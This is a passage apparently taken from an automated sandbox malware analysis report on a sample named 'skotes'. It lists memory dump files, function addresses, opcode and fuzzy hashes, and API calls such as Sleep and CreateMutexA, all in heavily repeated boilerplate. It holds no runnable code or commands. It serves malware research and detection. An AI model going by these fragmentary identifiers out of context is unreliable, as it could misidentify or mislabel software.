Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 99d8971fed446396999de37ccdcd6dddc4653ea145909b9dd7bd59d7c2b39aa9
Instruction ID: a2a19ab1de8c8e51221dbdac9952c17fd4c4c26b6a46d2766e4f9f131157f9e1
Opcode Fuzzy Hash: 99d8971fed446396999de37ccdcd6dddc4653ea145909b9dd7bd59d7c2b39aa9
Instruction Fuzzy Hash: E43148317043449BEB18DBBCDDD9BADB772DF85324F648218E094972D1C7B699808752

Function 00109ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9b5d3d2f831c8f9ab70b42ca276b02e67a258437503760bcb67f5fd6500c3e21
Instruction ID: d45d1bd10e35814bc0b5c91d370ff8138cec7ab023ab939d0e0326bcff260cff
Opcode Fuzzy Hash: 9b5d3d2f831c8f9ab70b42ca276b02e67a258437503760bcb67f5fd6500c3e21
Instruction Fuzzy Hash: 732179317043009BEB189BACEDE9B6CB362EFD1324F20421DF458D76D2DBB599808652

Function 0010A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d6620fd503ded8924d68c79420b982d976c4cea319118bcce807afea9d5ebb5f
Instruction ID: 3d7989e2586a5e725d8d98c0496180556d68400e985cd76ee06ef73a82c3c5b2
Opcode Fuzzy Hash: d6620fd503ded8924d68c79420b982d976c4cea319118bcce807afea9d5ebb5f
Instruction Fuzzy Hash: 77213A317493009AFB28A7A89DA673DB262DF91305F648817E6C4D62D2CBF659808293

Function 0010A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 96683ff092eec294e477e11a870f514ee8fa56ce06aa86c43157c1c9601bb938
Instruction ID: fd72a7e25e9189bbc0074248f6f4719812ca4dec65dcc26c60cbbac96a416a4e
Opcode Fuzzy Hash: 96683ff092eec294e477e11a870f514ee8fa56ce06aa86c43157c1c9601bb938
Instruction Fuzzy Hash: 4D2179323043009BEB18DBA8ED9576CB762EFD1315F248219E558DB6D1C7B559808392

Function 0013D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0013A813,00000001,00000364,00000006,000000FF,?,0013EE3F,?,00000004,00000000,?,?), ref: 0013D871

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d9b4ef5b8737fe4f01312e5f8b069b7a000358fd26f8b4893e48891d6e233476
Instruction ID: 74c5aa996b2582f0bcdaf442b6fc377aeef35292197efb1431fd43d746662705
Opcode Fuzzy Hash: d9b4ef5b8737fe4f01312e5f8b069b7a000358fd26f8b4893e48891d6e233476
Instruction Fuzzy Hash: 1BF02732601224A6EF353B72BC02B6B3B59DF957B0F1A81A1FD08A7181DB70FC1086E0

Non-executed Functions

Function 0013CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0013CC66

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
